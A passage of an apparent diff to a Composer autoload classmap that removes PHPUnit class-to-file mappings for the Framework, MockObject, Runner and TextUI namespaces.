'PHPUnit\\Framework\\Error' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/Error.php', - 'PHPUnit\\Framework\\ErrorTestCase' => $vendorDir . '/phpunit/phpunit/src/Framework/ErrorTestCase.php', - 'PHPUnit\\Framework\\Error\\Deprecated' => $vendorDir . '/phpunit/phpunit/src/Framework/Error/Deprecated.php', - 'PHPUnit\\Framework\\Error\\Error' => $vendorDir . '/phpunit/phpunit/src/Framework/Error/Error.php', - 'PHPUnit\\Framework\\Error\\Notice' => $vendorDir . '/phpunit/phpunit/src/Framework/Error/Notice.php', - 'PHPUnit\\Framework\\Error\\Warning' => $vendorDir . '/phpunit/phpunit/src/Framework/Error/Warning.php', - 'PHPUnit\\Framework\\Exception' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/Exception.php', - 'PHPUnit\\Framework\\ExceptionWrapper' => $vendorDir . '/phpunit/phpunit/src/Framework/ExceptionWrapper.php', - 'PHPUnit\\Framework\\ExecutionOrderDependency' => $vendorDir . '/phpunit/phpunit/src/Framework/ExecutionOrderDependency.php', - 'PHPUnit\\Framework\\ExpectationFailedException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/ExpectationFailedException.php', - 'PHPUnit\\Framework\\IncompleteTest' => $vendorDir . '/phpunit/phpunit/src/Framework/IncompleteTest.php', - 'PHPUnit\\Framework\\IncompleteTestCase' => $vendorDir . '/phpunit/phpunit/src/Framework/IncompleteTestCase.php', - 'PHPUnit\\Framework\\IncompleteTestError' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/IncompleteTestError.php', - 'PHPUnit\\Framework\\InvalidArgumentException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/InvalidArgumentException.php', - 'PHPUnit\\Framework\\InvalidCoversTargetException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/InvalidCoversTargetException.php', - 'PHPUnit\\Framework\\InvalidDataProviderException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/InvalidDataProviderException.php', - 'PHPUnit\\Framework\\InvalidParameterGroupException' => $vendorDir . '/phpunit/phpunit/src/Framework/InvalidParameterGroupException.php', - 'PHPUnit\\Framework\\MissingCoversAnnotationException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/MissingCoversAnnotationException.php', - 'PHPUnit\\Framework\\MockObject\\Api' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Api/Api.php', - 'PHPUnit\\Framework\\MockObject\\BadMethodCallException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/BadMethodCallException.php', - 'PHPUnit\\Framework\\MockObject\\Builder\\Identity' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Builder/Identity.php', - 'PHPUnit\\Framework\\MockObject\\Builder\\InvocationMocker' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Builder/InvocationMocker.php', - 'PHPUnit\\Framework\\MockObject\\Builder\\InvocationStubber' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Builder/InvocationStubber.php', - 'PHPUnit\\Framework\\MockObject\\Builder\\MethodNameMatch' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Builder/MethodNameMatch.php', - 'PHPUnit\\Framework\\MockObject\\Builder\\ParametersMatch' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Builder/ParametersMatch.php', - 'PHPUnit\\Framework\\MockObject\\Builder\\Stub' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Builder/Stub.php', - 'PHPUnit\\Framework\\MockObject\\CannotUseAddMethodsException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/CannotUseAddMethodsException.php', - 'PHPUnit\\Framework\\MockObject\\CannotUseOnlyMethodsException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/CannotUseOnlyMethodsException.php', - 'PHPUnit\\Framework\\MockObject\\ClassAlreadyExistsException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/ClassAlreadyExistsException.php', - 'PHPUnit\\Framework\\MockObject\\ClassIsFinalException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/ClassIsFinalException.php', - 'PHPUnit\\Framework\\MockObject\\ClassIsReadonlyException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/ClassIsReadonlyException.php', - 'PHPUnit\\Framework\\MockObject\\ConfigurableMethod' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/ConfigurableMethod.php', - 'PHPUnit\\Framework\\MockObject\\ConfigurableMethodsAlreadyInitializedException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/ConfigurableMethodsAlreadyInitializedException.php', - 'PHPUnit\\Framework\\MockObject\\DuplicateMethodException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/DuplicateMethodException.php', - 'PHPUnit\\Framework\\MockObject\\Exception' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/Exception.php', - 'PHPUnit\\Framework\\MockObject\\Generator' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Generator.php', - 'PHPUnit\\Framework\\MockObject\\IncompatibleReturnValueException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/IncompatibleReturnValueException.php', - 'PHPUnit\\Framework\\MockObject\\InvalidMethodNameException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/InvalidMethodNameException.php', - 'PHPUnit\\Framework\\MockObject\\Invocation' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Invocation.php', - 'PHPUnit\\Framework\\MockObject\\InvocationHandler' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/InvocationHandler.php', - 'PHPUnit\\Framework\\MockObject\\MatchBuilderNotFoundException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/MatchBuilderNotFoundException.php', - 'PHPUnit\\Framework\\MockObject\\Matcher' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Matcher.php', - 'PHPUnit\\Framework\\MockObject\\MatcherAlreadyRegisteredException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/MatcherAlreadyRegisteredException.php', - 'PHPUnit\\Framework\\MockObject\\Method' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Api/Method.php', - 'PHPUnit\\Framework\\MockObject\\MethodCannotBeConfiguredException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/MethodCannotBeConfiguredException.php', - 'PHPUnit\\Framework\\MockObject\\MethodNameAlreadyConfiguredException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/MethodNameAlreadyConfiguredException.php', - 'PHPUnit\\Framework\\MockObject\\MethodNameConstraint' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/MethodNameConstraint.php', - 'PHPUnit\\Framework\\MockObject\\MethodNameNotConfiguredException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/MethodNameNotConfiguredException.php', - 'PHPUnit\\Framework\\MockObject\\MethodParametersAlreadyConfiguredException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/MethodParametersAlreadyConfiguredException.php', - 'PHPUnit\\Framework\\MockObject\\MockBuilder' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/MockBuilder.php', - 'PHPUnit\\Framework\\MockObject\\MockClass' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/MockClass.php', - 'PHPUnit\\Framework\\MockObject\\MockMethod' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/MockMethod.php', - 'PHPUnit\\Framework\\MockObject\\MockMethodSet' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/MockMethodSet.php', - 'PHPUnit\\Framework\\MockObject\\MockObject' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/MockObject.php', - 'PHPUnit\\Framework\\MockObject\\MockTrait' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/MockTrait.php', - 'PHPUnit\\Framework\\MockObject\\MockType' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/MockType.php', - 'PHPUnit\\Framework\\MockObject\\OriginalConstructorInvocationRequiredException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/OriginalConstructorInvocationRequiredException.php', - 'PHPUnit\\Framework\\MockObject\\ReflectionException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/ReflectionException.php', - 'PHPUnit\\Framework\\MockObject\\ReturnValueNotConfiguredException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/ReturnValueNotConfiguredException.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\AnyInvokedCount' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/AnyInvokedCount.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\AnyParameters' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/AnyParameters.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\ConsecutiveParameters' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/ConsecutiveParameters.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\InvocationOrder' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvocationOrder.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\InvokedAtIndex' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtIndex.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\InvokedAtLeastCount' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtLeastCount.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\InvokedAtLeastOnce' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtLeastOnce.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\InvokedAtMostCount' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtMostCount.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\InvokedCount' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedCount.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\MethodName' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/MethodName.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\Parameters' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/Parameters.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\ParametersRule' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/ParametersRule.php', - 'PHPUnit\\Framework\\MockObject\\RuntimeException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/RuntimeException.php', - 'PHPUnit\\Framework\\MockObject\\SoapExtensionNotAvailableException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/SoapExtensionNotAvailableException.php', - 'PHPUnit\\Framework\\MockObject\\Stub' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Stub.php', - 'PHPUnit\\Framework\\MockObject\\Stub\\ConsecutiveCalls' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Stub/ConsecutiveCalls.php', - 'PHPUnit\\Framework\\MockObject\\Stub\\Exception' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Stub/Exception.php', - 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnArgument' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnArgument.php', - 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnCallback' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnCallback.php', - 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnReference' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnReference.php', - 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnSelf' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnSelf.php', - 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnStub' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnStub.php', - 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnValueMap' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnValueMap.php', - 'PHPUnit\\Framework\\MockObject\\Stub\\Stub' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Stub/Stub.php', - 'PHPUnit\\Framework\\MockObject\\UnknownClassException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownClassException.php', - 'PHPUnit\\Framework\\MockObject\\UnknownTraitException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownTraitException.php', - 'PHPUnit\\Framework\\MockObject\\UnknownTypeException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownTypeException.php', - 'PHPUnit\\Framework\\MockObject\\Verifiable' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Verifiable.php', - 'PHPUnit\\Framework\\NoChildTestSuiteException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/NoChildTestSuiteException.php', - 'PHPUnit\\Framework\\OutputError' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/OutputError.php', - 'PHPUnit\\Framework\\PHPTAssertionFailedError' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/PHPTAssertionFailedError.php', - 'PHPUnit\\Framework\\Reorderable' => $vendorDir . '/phpunit/phpunit/src/Framework/Reorderable.php', - 'PHPUnit\\Framework\\RiskyTestError' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/RiskyTestError.php', - 'PHPUnit\\Framework\\SelfDescribing' => $vendorDir . '/phpunit/phpunit/src/Framework/SelfDescribing.php', - 'PHPUnit\\Framework\\SkippedTest' => $vendorDir . '/phpunit/phpunit/src/Framework/SkippedTest.php', - 'PHPUnit\\Framework\\SkippedTestCase' => $vendorDir . '/phpunit/phpunit/src/Framework/SkippedTestCase.php', - 'PHPUnit\\Framework\\SkippedTestError' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/SkippedTestError.php', - 'PHPUnit\\Framework\\SkippedTestSuiteError' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/SkippedTestSuiteError.php', - 'PHPUnit\\Framework\\SyntheticError' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/SyntheticError.php', - 'PHPUnit\\Framework\\SyntheticSkippedError' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/SyntheticSkippedError.php', - 'PHPUnit\\Framework\\Test' => $vendorDir . '/phpunit/phpunit/src/Framework/Test.php', - 'PHPUnit\\Framework\\TestBuilder' => $vendorDir . '/phpunit/phpunit/src/Framework/TestBuilder.php', - 'PHPUnit\\Framework\\TestCase' => $vendorDir . '/phpunit/phpunit/src/Framework/TestCase.php', - 'PHPUnit\\Framework\\TestFailure' => $vendorDir . '/phpunit/phpunit/src/Framework/TestFailure.php', - 'PHPUnit\\Framework\\TestListener' => $vendorDir . '/phpunit/phpunit/src/Framework/TestListener.php', - 'PHPUnit\\Framework\\TestListenerDefaultImplementation' => $vendorDir . '/phpunit/phpunit/src/Framework/TestListenerDefaultImplementation.php', - 'PHPUnit\\Framework\\TestResult' => $vendorDir . '/phpunit/phpunit/src/Framework/TestResult.php', - 'PHPUnit\\Framework\\TestSuite' => $vendorDir . '/phpunit/phpunit/src/Framework/TestSuite.php', - 'PHPUnit\\Framework\\TestSuiteIterator' => $vendorDir . '/phpunit/phpunit/src/Framework/TestSuiteIterator.php', - 'PHPUnit\\Framework\\UnintentionallyCoveredCodeError' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/UnintentionallyCoveredCodeError.php', - 'PHPUnit\\Framework\\Warning' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/Warning.php', - 'PHPUnit\\Framework\\WarningTestCase' => $vendorDir . '/phpunit/phpunit/src/Framework/WarningTestCase.php', - 'PHPUnit\\Runner\\AfterIncompleteTestHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/AfterIncompleteTestHook.php', - 'PHPUnit\\Runner\\AfterLastTestHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/AfterLastTestHook.php', - 'PHPUnit\\Runner\\AfterRiskyTestHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/AfterRiskyTestHook.php', - 'PHPUnit\\Runner\\AfterSkippedTestHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/AfterSkippedTestHook.php', - 'PHPUnit\\Runner\\AfterSuccessfulTestHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/AfterSuccessfulTestHook.php', - 'PHPUnit\\Runner\\AfterTestErrorHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/AfterTestErrorHook.php', - 'PHPUnit\\Runner\\AfterTestFailureHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/AfterTestFailureHook.php', - 'PHPUnit\\Runner\\AfterTestHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/AfterTestHook.php', - 'PHPUnit\\Runner\\AfterTestWarningHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/AfterTestWarningHook.php', - 'PHPUnit\\Runner\\BaseTestRunner' => $vendorDir . '/phpunit/phpunit/src/Runner/BaseTestRunner.php', - 'PHPUnit\\Runner\\BeforeFirstTestHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/BeforeFirstTestHook.php', - 'PHPUnit\\Runner\\BeforeTestHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/BeforeTestHook.php', - 'PHPUnit\\Runner\\DefaultTestResultCache' => $vendorDir . '/phpunit/phpunit/src/Runner/DefaultTestResultCache.php', - 'PHPUnit\\Runner\\Exception' => $vendorDir . '/phpunit/phpunit/src/Runner/Exception.php', - 'PHPUnit\\Runner\\Extension\\ExtensionHandler' => $vendorDir . '/phpunit/phpunit/src/Runner/Extension/ExtensionHandler.php', - 'PHPUnit\\Runner\\Extension\\PharLoader' => $vendorDir . '/phpunit/phpunit/src/Runner/Extension/PharLoader.php', - 'PHPUnit\\Runner\\Filter\\ExcludeGroupFilterIterator' => $vendorDir . '/phpunit/phpunit/src/Runner/Filter/ExcludeGroupFilterIterator.php', - 'PHPUnit\\Runner\\Filter\\Factory' => $vendorDir . '/phpunit/phpunit/src/Runner/Filter/Factory.php', - 'PHPUnit\\Runner\\Filter\\GroupFilterIterator' => $vendorDir . '/phpunit/phpunit/src/Runner/Filter/GroupFilterIterator.php', - 'PHPUnit\\Runner\\Filter\\IncludeGroupFilterIterator' => $vendorDir . '/phpunit/phpunit/src/Runner/Filter/IncludeGroupFilterIterator.php', - 'PHPUnit\\Runner\\Filter\\NameFilterIterator' => $vendorDir . '/phpunit/phpunit/src/Runner/Filter/NameFilterIterator.php', - 'PHPUnit\\Runner\\Hook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/Hook.php', - 'PHPUnit\\Runner\\NullTestResultCache' => $vendorDir . '/phpunit/phpunit/src/Runner/NullTestResultCache.php', - 'PHPUnit\\Runner\\PhptTestCase' => $vendorDir . '/phpunit/phpunit/src/Runner/PhptTestCase.php', - 'PHPUnit\\Runner\\ResultCacheExtension' => $vendorDir . '/phpunit/phpunit/src/Runner/ResultCacheExtension.php', - 'PHPUnit\\Runner\\StandardTestSuiteLoader' => $vendorDir . '/phpunit/phpunit/src/Runner/StandardTestSuiteLoader.php', - 'PHPUnit\\Runner\\TestHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/TestHook.php', - 'PHPUnit\\Runner\\TestListenerAdapter' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/TestListenerAdapter.php', - 'PHPUnit\\Runner\\TestResultCache' => $vendorDir . '/phpunit/phpunit/src/Runner/TestResultCache.php', - 'PHPUnit\\Runner\\TestSuiteLoader' => $vendorDir . '/phpunit/phpunit/src/Runner/TestSuiteLoader.php', - 'PHPUnit\\Runner\\TestSuiteSorter' => $vendorDir . '/phpunit/phpunit/src/Runner/TestSuiteSorter.php', - 'PHPUnit\\Runner\\Version' => $vendorDir . '/phpunit/phpunit/src/Runner/Version.php', - 'PHPUnit\\TextUI\\CliArguments\\Builder' => $vendorDir . '/phpunit/phpunit/src/TextUI/CliArguments/Builder.php', - 'PHPUnit\\TextUI\\CliArguments\\Configuration' => $vendorDir . '/phpunit/phpunit/src/TextUI/CliArguments/Configuration.php', - 'PHPUnit\\TextUI\\CliArguments\\Exception' => $vendorDir . '/phpunit/phpunit/src/TextUI/CliArguments/Exception.php', - 'PHPUnit\\TextUI\\CliArguments\\Mapper' => $vendorDir . '/phpunit/phpunit/src/TextUI/CliArguments/Mapper.php', - 'PHPUnit\\TextUI\\Command' => $vendorDir . '/phpunit/phpunit/src/TextUI/Command.php', - 'PHPUnit\\TextUI\\DefaultResultPrinter' => $vendorDir . '/phpunit/phpunit/src/TextUI/DefaultResultPrinter.php', - 'PHPUnit\\TextUI\\Exception' => $vendorDir . '/phpunit/phpunit/src/TextUI/Exception/Exception.php', - 'PHPUnit\\TextUI\\Help' => $vendorDir . '/phpunit/phpunit/src/TextUI/Help.php', - 'PHPUnit\\TextUI\\ReflectionException' => $vendorDir . '/phpunit/phpunit/src/TextUI/Exception/ReflectionException.php', - 'PHPUnit\\TextUI\\ResultPrinter' => $vendorDir . '/phpunit/phpunit/src/TextUI/ResultPrinter.php', - 'PHPUnit\\TextUI\\RuntimeException' => $vendorDir . '/phpunit/phpunit/src/TextUI/Exception/RuntimeException.php', - 'PHPUnit\\TextUI\\TestDirectoryNotFoundException' => $vendorDir . '/phpunit/phpunit/src/TextUI/Exception/TestDirectoryNotFoundException.php', - 'PHPUnit\\TextUI\\TestFileNotFoundException' => $vendorDir . '/phpunit/phpunit/src/TextUI/Exception/TestFileNotFoundException.php', - 'PHPUnit\\TextUI\\TestRunner' => $vendorDir . '/phpunit/phpunit/src/TextUI/TestRunner.php', - 'PHPUnit\\TextUI\\TestSuiteMapper' => $vendorDir . '/phpunit/phpunit/src/TextUI/TestSuiteMapper.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\CodeCoverage' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/CodeCoverage.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\FilterMapper' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/FilterMapper.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Filter\\Directory' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/Directory.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Filter\\DirectoryCollection' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/DirectoryCollection.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Filter\\DirectoryCollectionIterator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/DirectoryCollectionIterator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Clover' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Clover.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Cobertura' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Cobertura.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Crap4j' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Crap4j.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Html' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Html.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Php' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Php.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Text' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Text.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Xml' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Xml.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Configuration' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Configuration.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Constant' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Constant.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\ConstantCollection' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/ConstantCollection.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\ConstantCollectionIterator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/ConstantCollectionIterator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\ConvertLogTypes' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/ConvertLogTypes.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CoverageCloverToReport' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageCloverToReport.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CoverageCrap4jToReport' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageCrap4jToReport.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CoverageHtmlToReport' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageHtmlToReport.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CoveragePhpToReport' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoveragePhpToReport.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CoverageTextToReport' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageTextToReport.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\CoverageXmlToReport' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageXmlToReport.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Directory' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/Directory.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\DirectoryCollection' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/DirectoryCollection.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\DirectoryCollectionIterator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/DirectoryCollectionIterator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Exception' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Exception.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Extension' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/Extension.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\ExtensionCollection' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/ExtensionCollection.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\ExtensionCollectionIterator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/ExtensionCollectionIterator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\File' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/File.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\FileCollection' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/FileCollection.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\FileCollectionIterator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/FileCollectionIterator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Generator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Generator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Group' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/Group.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\GroupCollection' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/GroupCollection.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\GroupCollectionIterator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/GroupCollectionIterator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Groups' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/Groups.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\IniSetting' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSetting.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\IniSettingCollection' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSettingCollection.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\IniSettingCollectionIterator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSettingCollectionIterator.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\IntroduceCoverageElement' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/IntroduceCoverageElement.php', - 'PHPUnit\\TextUI\\XmlConfiguration\\Loader' => $vendorDir . 